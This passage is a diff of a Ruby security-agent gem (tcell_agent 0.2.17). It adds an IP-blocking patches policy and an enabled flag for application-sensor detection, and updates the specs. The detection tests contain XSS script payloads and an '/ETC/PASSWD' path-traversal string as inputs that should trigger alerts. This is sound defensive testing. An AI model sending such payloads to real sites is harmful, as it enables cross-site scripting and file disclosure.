- attr_accessor :policy_id, :options
42
+ attr_accessor :policy_id, :options, :enabled
43
43
 
44
44
  def initialize
45
45
  @policy_id = nil
46
46
  @options = Hash.new
47
+ @enabled = false
47
48
  end
48
49
 
49
50
  def process_meta_event(appsensor_meta)
51
+ return unless @enabled
52
+
50
53
  check_request_size(appsensor_meta)
51
54
  check_response_size(appsensor_meta)
52
- check_response_size(appsensor_meta)
55
+ check_response_code(appsensor_meta)
53
56
  check_params_for_injections(appsensor_meta)
54
57
  end
55
58
 
@@ -138,8 +141,13 @@ module TCellAgent
138
141
 
139
142
  if policy_json["version"] && policy_json["version"] == 2
140
143
  if data_json
141
- sensors_json = data_json["sensors"]
142
- if sensors_json
144
+ sensors_json = data_json.fetch("sensors", {})
145
+ if sensors_json.empty?
146
+ sensor_policy.enabled = false
147
+
148
+ else
149
+ sensor_policy.enabled = true
150
+
143
151
  DETECTION_POINTS_V2.each do |sensor_name, sensor_class|
144
152
  settings = sensors_json.fetch(sensor_name, {})
145
153
  settings["enabled"] = sensors_json.has_key?(sensor_name)
@@ -151,9 +159,13 @@ module TCellAgent
151
159
 
152
160
  else
153
161
  if data_json
154
- options_json = data_json["options"]
155
- if options_json
162
+ options_json = data_json.fetch("options", {})
163
+
164
+ if options_json.empty?
165
+ sensor_policy.enabled = false
156
166
 
167
+ else
168
+ sensor_policy.enabled = true
157
169
  DETECTION_POINTS_V1.each do |sensor_name|
158
170
  if "req_res_size" == sensor_name
159
171
  enabled = options_json.fetch(sensor_name, false)
@@ -193,7 +205,6 @@ module TCellAgent
193
205
  )
194
206
  end
195
207
  end
196
-
197
208
  end
198
209
  end
199
210
  end
@@ -0,0 +1,52 @@
1
+ module TCellAgent
2
+ module Policies
3
+
4
+ class PatchesPolicy
5
+ attr_accessor :policy_id, :version, :ip_blocking_enabled, :blocked_ips
6
+
7
+ def initialize
8
+ @policy_id = nil
9
+ @version = nil
10
+ @ip_blocking_enabled = false
11
+ @blocked_ips = {}
12
+ end
13
+
14
+ def block_ip?(request)
15
+ @ip_blocking_enabled && @blocked_ips[request.ip]
16
+ end
17
+
18
+ def self.from_json(policy_json)
19
+ return nil unless policy_json
20
+
21
+ policy_id = policy_json["policy_id"]
22
+
23
+ raise "Policy ID missing" unless policy_id
24
+
25
+ patches_policy = PatchesPolicy.new
26
+ patches_policy.policy_id = policy_id
27
+ patches_policy.version = policy_json["version"]
28
+
29
+ if 1 != patches_policy.version
30
+ TCellAgent.logger.warn("Patches Policy not supported: #{patches_policy.version}")
31
+ return patches_policy
32
+ end
33
+
34
+ data = policy_json["data"]
35
+ if data
36
+ blocked_ips = data["blocked_ips"]
37
+ if blocked_ips
38
+ blocked_ips.each do |ip_info|
39
+ if ip_info["ip"]
40
+ patches_policy.ip_blocking_enabled = true
41
+ patches_policy.blocked_ips[ip_info["ip"]] = true
42
+ end
43
+ end
44
+ end
45
+ end
46
+
47
+ patches_policy
48
+ end
49
+ end
50
+
51
+ end
52
+ end
@@ -29,6 +29,17 @@ module TCellAgent
29
29
  def call(env)
30
30
  request = Rack::Request.new(env)
31
31
 
32
+ if TCellAgent.configuration.should_intercept_requests?
33
+ TCellAgent::Instrumentation.safe_block("Checking for blocked ips") do
34
+ patches_policy = TCellAgent.policy(TCellAgent::PolicyTypes::Patches)
35
+ if patches_policy
36
+ if patches_policy.block_ip?(request)
37
+ return [403, {"Content-Type" => "text/plain"}, ["Forbidden based on referer"]]
38
+ end
39
+ end
40
+ end
41
+ end
42
+
32
43
  response = @app.call(env)
33
44
 
34
45
  if TCellAgent.configuration.should_intercept_requests?
@@ -13,7 +13,6 @@ module TCellAgent
13
13
  param,
14
14
  route_id,
15
15
  data=nil,
16
- transaction_id=nil,
17
16
  session_id=nil,
18
17
  user_id=nil,
19
18
  payload=nil,
@@ -28,7 +27,6 @@ module TCellAgent
28
27
  self["m"] = method
29
28
  @raw_location = location
30
29
  @user_id = user_id
31
- @transaction_id = transaction_id
32
30
  @raw_session_id = session_id
33
31
  @payload = payload
34
32
  if pattern
@@ -41,9 +39,6 @@ module TCellAgent
41
39
  if @user_id
42
40
  self["uid"] = @user_id.to_s
43
41
  end
44
- if @transaction_id
45
- self["tid"] = @transaction_id
46
- end
47
42
  if @raw_session_id
48
43
  hmac_key = Util.getHmacKey()
49
44
  self["sid"] = Util.hmac(@raw_session_id, hmac_key)
@@ -1,5 +1,5 @@
1
1
  # See the file "LICENSE" for the full license governing this code.
2
2
 
3
3
  module TCellAgent
4
- VERSION = "0.2.16"
4
+ VERSION = "0.2.17"
5
5
  end
@@ -117,6 +117,13 @@ module TCellAgent
117
117
  match_data = @rule_set.check_violation("param_name", "evil <script>", {}, true)
118
118
  expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <script>", "pattern"=>1})
119
119
  end
120
+
121
+ context "uppercasing param value still matches pattern" do
122
+ it "should return the match" do
123
+ match_data = @rule_set.check_violation("param_name", "evil <SCRIPT>", {}, true)
124
+ expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <SCRIPT>", "pattern"=>1})
125
+ end
126
+ end
120
127
  end
121
128
 
122
129
  context "v1_compatability is off" do
@@ -18,7 +18,7 @@ module TCellAgent
18
18
  end
19
19
  end
20
20
 
21
- context "that is empty" do
21
+ context "that has empty options" do
22
22
  it "should have all sensors disabled" do
23
23
  expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
24
24
 
@@ -32,34 +32,44 @@ module TCellAgent
32
32
  empty_policy = AppSensorPolicy.from_json(policy_json_empty)
33
33
 
34
34
  expect(empty_policy.policy_id).to eq("01a1")
35
- expect(empty_policy.options["req_size"]).to_not be_nil
36
- expect(empty_policy.options["resp_size"]).to_not be_nil
37
- expect(empty_policy.options["resp_codes"]).to_not be_nil
38
- expect(empty_policy.options["xss"]).to_not be_nil
39
- expect(empty_policy.options["sqli"]).to_not be_nil
40
- expect(empty_policy.options["cmdi"]).to_not be_nil
41
- expect(empty_policy.options["fpt"]).to_not be_nil
42
- expect(empty_policy.options["nullbyte"]).to_not be_nil
43
- expect(empty_policy.options["retr"]).to_not be_nil
44
- expect(empty_policy.options["login"]).to_not be_nil
35
+ expect(empty_policy.enabled).to eq(false)
36
+ expect(empty_policy.options["req_size"]).to be_nil
37
+ expect(empty_policy.options["resp_size"]).to be_nil
38
+ expect(empty_policy.options["resp_codes"]).to be_nil
39
+ expect(empty_policy.options["xss"]).to be_nil
40
+ expect(empty_policy.options["sqli"]).to be_nil
41
+ expect(empty_policy.options["cmdi"]).to be_nil
42
+ expect(empty_policy.options["fpt"]).to be_nil
43
+ expect(empty_policy.options["nullbyte"]).to be_nil
44
+ expect(empty_policy.options["retr"]).to be_nil
45
+ expect(empty_policy.options["login"]).to be_nil
46
+ end
47
+ end
45
48
 
46
- expect(empty_policy.options["req_size"].enabled).to eq(false)
47
- expect(empty_policy.options["resp_size"].enabled).to eq(false)
48
- expect(empty_policy.options["resp_codes"].enabled).to eq(false)
49
- expect(empty_policy.options["xss"].enabled).to eq(false)
50
- expect(empty_policy.options["sqli"].enabled).to eq(false)
51
- expect(empty_policy.options["cmdi"].enabled).to eq(false)
52
- expect(empty_policy.options["fpt"].enabled).to eq(false)
53
- expect(empty_policy.options["nullbyte"].enabled).to eq(false)
54
- expect(empty_policy.options["retr"].enabled).to eq(false)
55
- expect(empty_policy.options["login"].enabled).to eq(false)
49
+ context "that has no options" do
50
+ it "should have all sensors disabled" do
51
+ expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
56
52
 
57
- expect(empty_policy.options["xss"].v1_compatability_enabled).to eq(true)
58
- expect(empty_policy.options["sqli"].v1_compatability_enabled).to eq(true)
59
- expect(empty_policy.options["cmdi"].v1_compatability_enabled).to eq(true)
60
- expect(empty_policy.options["fpt"].v1_compatability_enabled).to eq(true)
61
- expect(empty_policy.options["nullbyte"].v1_compatability_enabled).to eq(true)
62
- expect(empty_policy.options["retr"].v1_compatability_enabled).to eq(true)
53
+ policy_json_empty = {
54
+ "policy_id" => "01a1",
55
+ "data" => {
56
+ }
57
+ }
58
+
59
+ empty_policy = AppSensorPolicy.from_json(policy_json_empty)
60
+
61
+ expect(empty_policy.policy_id).to eq("01a1")
62
+ expect(empty_policy.enabled).to eq(false)
63
+ expect(empty_policy.options["req_size"]).to be_nil
64
+ expect(empty_policy.options["resp_size"]).to be_nil
65
+ expect(empty_policy.options["resp_codes"]).to be_nil
66
+ expect(empty_policy.options["xss"]).to be_nil
67
+ expect(empty_policy.options["sqli"]).to be_nil
68
+ expect(empty_policy.options["cmdi"]).to be_nil
69
+ expect(empty_policy.options["fpt"]).to be_nil
70
+ expect(empty_policy.options["nullbyte"]).to be_nil
71
+ expect(empty_policy.options["retr"]).to be_nil
72
+ expect(empty_policy.options["login"]).to be_nil
63
73
  end
64
74
  end
65
75
 
@@ -221,7 +231,7 @@ module TCellAgent
221
231
  end
222
232
  end
223
233
 
224
- context "that is empty" do
234
+ context "that has no sensors" do
225
235
  it "should have all sensors disabled" do
226
236
  expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
227
237
 
@@ -229,41 +239,52 @@ module TCellAgent
229
239
  "policy_id" => "01a1",
230
240
  "version" => 2,
231
241
  "data" => {
232
- "sensors" => {}
233
242
  }
234
243
  }
235
244
 
236
245
  empty_policy = AppSensorPolicy.from_json(policy_json_empty)
237
246
 
238
247
  expect(empty_policy.policy_id).to eq("01a1")
239
- expect(empty_policy.options["req_size"]).to_not be_nil
240
- expect(empty_policy.options["resp_size"]).to_not be_nil
241
- expect(empty_policy.options["resp_codes"]).to_not be_nil
242
- expect(empty_policy.options["xss"]).to_not be_nil
243
- expect(empty_policy.options["sqli"]).to_not be_nil
244
- expect(empty_policy.options["cmdi"]).to_not be_nil
245
- expect(empty_policy.options["fpt"]).to_not be_nil
246
- expect(empty_policy.options["nullbyte"]).to_not be_nil
247
- expect(empty_policy.options["retr"]).to_not be_nil
248
- expect(empty_policy.options["login"]).to_not be_nil
248
+ expect(empty_policy.enabled).to eq(false)
249
+ expect(empty_policy.options["req_size"]).to be_nil
250
+ expect(empty_policy.options["resp_size"]).to be_nil
251
+ expect(empty_policy.options["resp_codes"]).to be_nil
252
+ expect(empty_policy.options["xss"]).to be_nil
253
+ expect(empty_policy.options["sqli"]).to be_nil
254
+ expect(empty_policy.options["cmdi"]).to be_nil
255
+ expect(empty_policy.options["fpt"]).to be_nil
256
+ expect(empty_policy.options["nullbyte"]).to be_nil
257
+ expect(empty_policy.options["retr"]).to be_nil
258
+ expect(empty_policy.options["login"]).to be_nil
259
+ end
260
+ end
249
261
 
250
- expect(empty_policy.options["req_size"].enabled).to eq(false)
251
- expect(empty_policy.options["resp_size"].enabled).to eq(false)
252
- expect(empty_policy.options["resp_codes"].enabled).to eq(false)
253
- expect(empty_policy.options["xss"].enabled).to eq(false)
254
- expect(empty_policy.options["sqli"].enabled).to eq(false)
255
- expect(empty_policy.options["cmdi"].enabled).to eq(false)
256
- expect(empty_policy.options["fpt"].enabled).to eq(false)
257
- expect(empty_policy.options["nullbyte"].enabled).to eq(false)
258
- expect(empty_policy.options["retr"].enabled).to eq(false)
259
- expect(empty_policy.options["login"].enabled).to eq(false)
262
+ context "that has empty sensors" do
263
+ it "should have all sensors disabled" do
264
+ expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
265
+
266
+ policy_json_empty = {
267
+ "policy_id" => "01a1",
268
+ "version" => 2,
269
+ "data" => {
270
+ "sensors" => {}
271
+ }
272
+ }
273
+
274
+ empty_policy = AppSensorPolicy.from_json(policy_json_empty)
260
275
 
261
- expect(empty_policy.options["xss"].v1_compatability_enabled).to eq(false)
262
- expect(empty_policy.options["sqli"].v1_compatability_enabled).to eq(false)
263
- expect(empty_policy.options["cmdi"].v1_compatability_enabled).to eq(false)
264
- expect(empty_policy.options["fpt"].v1_compatability_enabled).to eq(false)
265
- expect(empty_policy.options["nullbyte"].v1_compatability_enabled).to eq(false)
266
- expect(empty_policy.options["retr"].v1_compatability_enabled).to eq(false)
276
+ expect(empty_policy.policy_id).to eq("01a1")
277
+ expect(empty_policy.enabled).to eq(false)
278
+ expect(empty_policy.options["req_size"]).to be_nil
279
+ expect(empty_policy.options["resp_size"]).to be_nil
280
+ expect(empty_policy.options["resp_codes"]).to be_nil
281
+ expect(empty_policy.options["xss"]).to be_nil
282
+ expect(empty_policy.options["sqli"]).to be_nil
283
+ expect(empty_policy.options["cmdi"]).to be_nil
284
+ expect(empty_policy.options["fpt"]).to be_nil
285
+ expect(empty_policy.options["nullbyte"]).to be_nil
286
+ expect(empty_policy.options["retr"]).to be_nil
287
+ expect(empty_policy.options["login"]).to be_nil
267
288
  end
268
289
  end
269
290
 
@@ -0,0 +1,143 @@
1
+ require 'spec_helper'
2
+
3
+ module TCellAgent
4
+ module Policies
5
+
6
+ describe PatchesPolicy do
7
+
8
+ describe "#from_json" do
9
+
10
+ context "with a nil policy" do
11
+ it "should return nil" do
12
+ expect(PatchesPolicy.from_json(nil)).to be_nil
13
+ end
14
+ end
15
+
16
+ context "with an empty policy" do
17
+ it "should raise a policy missing error" do
18
+ expect {
19
+ PatchesPolicy.from_json({})
20
+ }.to raise_error(RuntimeError)
21
+ end
22
+ end
23
+
24
+ context "with an empty version" do
25
+ it "should have empty version" do
26
+ patches = PatchesPolicy.from_json({ "policy_id" => "policy_id" })
27
+ expect(patches.policy_id).to eq("policy_id")
28
+ expect(patches.version).to be_nil
29
+ expect(patches.ip_blocking_enabled).to eq(false)
30
+ expect(patches.blocked_ips).to eq({})
31
+ end
32
+ end
33
+
34
+ context "with an empty data" do
35
+ it "should have disabled ip blocking" do
36
+ patches = PatchesPolicy.from_json({
37
+ "policy_id" => "policy_id",
38
+ "version" => 1
39
+ })
40
+ expect(patches.policy_id).to eq("policy_id")
41
+ expect(patches.version).to eq(1)
42
+ expect(patches.ip_blocking_enabled).to eq(false)
43
+ expect(patches.blocked_ips).to eq({})
44
+ end
45
+ end
46
+
47
+ context "with an empty blocked_ips" do
48
+ it "should have disabled ip blocking" do
49
+ patches = PatchesPolicy.from_json({
50
+ "policy_id" => "policy_id",
51
+ "version" => 1,
52
+ "data" => {}
53
+ })
54
+ expect(patches.policy_id).to eq("policy_id")
55
+ expect(patches.version).to eq(1)
56
+ expect(patches.ip_blocking_enabled).to eq(false)
57
+ expect(patches.blocked_ips).to eq({})
58
+ end
59
+ end
60
+
61
+ context "with blocked_ips" do
62
+ context "as an empty list" do
63
+ it "should have ip blocking disabled" do
64
+ patches = PatchesPolicy.from_json({
65
+ "policy_id" => "policy_id",
66
+ "version" => 1,
67
+ "data" => {
68
+ "blocked_ips" => []
69
+ }
70
+ })
71
+ expect(patches.policy_id).to eq("policy_id")
72
+ expect(patches.version).to eq(1)
73
+ expect(patches.ip_blocking_enabled).to eq(false)
74
+ expect(patches.blocked_ips).to eq({})
75
+ end
76
+ end
77
+
78
+ context "a non empty list" do
79
+ it "should have ip blocking enabled" do
80
+ patches = PatchesPolicy.from_json({
81
+ "policy_id" => "policy_id",
82
+ "version" => 1,
83
+ "data" => {
84
+ "blocked_ips" => [
85
+ {"ip" => "0.0.0.0"},
86
+ {"ip" => "1.1.1.1"}
87
+ ]
88
+ }
89
+ })
90
+ expect(patches.policy_id).to eq("policy_id")
91
+ expect(patches.version).to eq(1)
92
+ expect(patches.ip_blocking_enabled).to eq(true)
93
+ expect(patches.blocked_ips).to eq({"0.0.0.0"=>true, "1.1.1.1"=>true})
94
+ end
95
+
96
+ context "with incorrect key names" do
97
+ it "should skip bad keys" do
98
+ patches = PatchesPolicy.from_json({
99
+ "policy_id" => "policy_id",
100
+ "version" => 1,
101
+ "data" => {
102
+ "blocked_ips" => [
103
+ {"ip_wrong" => "0.0.0.0"},
104
+ {"ip" => "1.1.1.1"}
105
+ ]
106
+ }
107
+ })
108
+ expect(patches.policy_id).to eq("policy_id")
109
+ expect(patches.version).to eq(1)
110
+ expect(patches.ip_blocking_enabled).to eq(true)
111
+ expect(patches.blocked_ips).to eq({"1.1.1.1"=>true})
112
+ end
113
+ end
114
+
115
+ context "with a wrong version number" do
116
+ it "should have ip blocking disabled" do
117
+ logger = double("logger")
118
+ expect(TCellAgent).to receive(:logger).and_return(logger)
119
+ expect(logger).to receive(:warn).with("Patches Policy not supported: 2")
120
+
121
+ patches = PatchesPolicy.from_json({
122
+ "policy_id" => "policy_id",
123
+ "version" => 2,
124
+ "data" => {
125
+ "blocked_ips" => [
126
+ {"ip" => "0.0.0.0"},
127
+ {"ip" => "1.1.1.1"}
128
+ ]
129
+ }
130
+ })
131
+ expect(patches.policy_id).to eq("policy_id")
132
+ expect(patches.version).to eq(2)
133
+ expect(patches.ip_blocking_enabled).to eq(false)
134
+ expect(patches.blocked_ips).to eq({})
135
+ end
136
+ end
137
+ end
138
+ end
139
+ end
140
+ end
141
+
142
+ end
143
+ end
@@ -63,7 +63,7 @@ module TCellAgent
63
63
  TCellAgent.empty_event_queue
64
64
  end
65
65
  it "alerts on get xss payload" do
66
- response = request.get("/foo?xyz=%3Cscript%3Ealert(1)%3C%2Fscript%3E", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
66
+ response = request.get("/foo?xyz=%3CSCRIPT%3Ealert(1)%3C%2Fscript%3E", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
67
67
  expected_as = {
68
68
  "event_type"=>"as",
69
69
  "dp"=>"xss",
@@ -71,12 +71,11 @@ module TCellAgent
71
71
  "remote_addr"=>"1.3.3.4",
72
72
  "m"=>"GET",
73
73
  "pattern"=>"1",
74
- "loc"=>"http://example.org/foo?xyz=",
75
- "tid"=>"a-b-c-d-e-f"}
74
+ "loc"=>"http://example.org/foo?xyz="}
76
75
  expect(TCellAgent.event_queue).to include(expected_as)
77
76
  end
78
77
  it "alerts on post xss payload" do
79
- response = request.post("/foo", :input => "x=<script>alert(1)</script>", 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6')
78
+ response = request.post("/foo", :input => "x=<SCRIPT>alert(1)</SCRIPT>", 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6')
80
79
  expected_as = {
81
80
  "event_type"=>"as",
82
81
  "dp"=>"xss",
@@ -84,8 +83,7 @@ module TCellAgent
84
83
  "remote_addr"=>"1.2.3.4",
85
84
  "m"=>"POST",
86
85
  "pattern"=>"1",
87
- "loc"=>"http://example.org/foo",
88
- "tid"=>"a-b-c-d-e-f"}
86
+ "loc"=>"http://example.org/foo"}
89
87
  expect(TCellAgent.event_queue).to include(expected_as)
90
88
  end #/it
91
89
  it "alerts on get xss payload with route_id" do
@@ -98,8 +96,7 @@ module TCellAgent
98
96
  "rou"=>"myrouteid",
99
97
  "m"=>"GET",
100
98
  "pattern"=>"1",
101
- "loc"=>"http://example.org/foo?xyz=",
102
- "tid"=>"a-b-c-d-e-f"}
99
+ "loc"=>"http://example.org/foo?xyz="}
103
100
  expect(TCellAgent.event_queue).to include(expected_as)
104
101
  end
105
102
  it "checks that payload is sent in xss with route_id" do
@@ -115,7 +112,6 @@ module TCellAgent
115
112
  "m"=>"GET",
116
113
  "pattern"=>"1",
117
114
  "loc"=>"http://example.org/foo?xyz=",
118
- "tid"=>"a-b-c-d-e-f",
119
115
  "payload"=>"<script>alert(1)</script>"}
120
116
  TCellAgent.configuration.allow_unencrypted_appfirewall_payloads= old_uap
121
117
  expect(TCellAgent.event_queue).to include(expected_as)
@@ -146,8 +142,7 @@ module TCellAgent
146
142
  "remote_addr"=>"1.3.3.4",
147
143
  "m"=>"GET",
148
144
  "pattern"=>"1",
149
- "loc"=>"http://example.org/foo?xyz=&def=",
150
- "tid"=>"a-b-c-d-e-f"}
145
+ "loc"=>"http://example.org/foo?xyz=&def="}
151
146
  expect(TCellAgent.event_queue).to include(expected_as)
152
147
  end
153
148
  end #/conext
@@ -166,7 +161,7 @@ module TCellAgent
166
161
  TCellAgent.empty_event_queue
167
162
  end
168
163
  it "alerts on most obvious payload" do
169
- response = request.get("/foo?xyz=/etc/passwd", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
164
+ response = request.get("/foo?xyz=/ETC/PASSWD", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
170
165
  expected_as = {
171
166
  "event_type"=>"as",
172
167
  "dp"=>"fpt",
@@ -174,8 +169,7 @@ module TCellAgent
174
169
  "remote_addr"=>"1.3.3.4",
175
170
  "m"=>"GET",
176
171
  "pattern"=>"2",
177
- "loc"=>"http://example.org/foo?xyz=",
178
- "tid"=>"a-b-c-d-e-f"}
172
+ "loc"=>"http://example.org/foo?xyz="}
179
173
  expect(TCellAgent.event_queue).to include(expected_as)
180
174
  end
181
175
  it "checks that payload is sent" do
@@ -190,7 +184,6 @@ module TCellAgent
190
184
  "m"=>"GET",
191
185
  "pattern"=>"2",
192
186
  "loc"=>"http://example.org/foo?xyz=",
193
- "tid"=>"a-b-c-d-e-f",
194
187
  "payload"=>"/etc/passwd"}
195
188
  TCellAgent.configuration.allow_unencrypted_appfirewall_payloads = old_uap
196
189
  expect(TCellAgent.event_queue).to include(expected_as)
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: tcell_agent
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.2.16
4
+ version: 0.2.17
5
5
  platform: ruby
6
6
  authors:
7
7
  - Garrett
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-05-20 00:00:00.000000000 Z
11
+ date: 2016-06-02 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rest-client
@@ -155,6 +155,7 @@ files:
155
155
  - lib/tcell_agent/policies/http_redirect_policy.rb
156
156
  - lib/tcell_agent/policies/http_tx_policy.rb
157
157
  - lib/tcell_agent/policies/login_fraud_policy.rb
158
+ - lib/tcell_agent/policies/patches_policy.rb
158
159
  - lib/tcell_agent/policies/secure_headers_policy.rb
159
160
  - lib/tcell_agent/rails/auth/authlogic.rb
160
161
  - lib/tcell_agent/rails/auth/devise.rb
@@ -267,6 +268,7 @@ files:
267
268
  - spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
268
269
  - spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
269
270
  - spec/lib/tcell_agent/policies/login_policy_spec.rb
271
+ - spec/lib/tcell_agent/policies/patches_policy_spec.rb
270
272
  - spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
271
273
  - spec/lib/tcell_agent/rails/logger_spec.rb
272
274
  - spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb
@@ -390,6 +392,7 @@ test_files:
390
392
  - spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
391
393
  - spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
392
394
  - spec/lib/tcell_agent/policies/login_policy_spec.rb
395
+ - spec/lib/tcell_agent/policies/patches_policy_spec.rb
393
396
  - spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
394
397
  - spec/lib/tcell_agent/rails/logger_spec.rb
395
398
  - spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb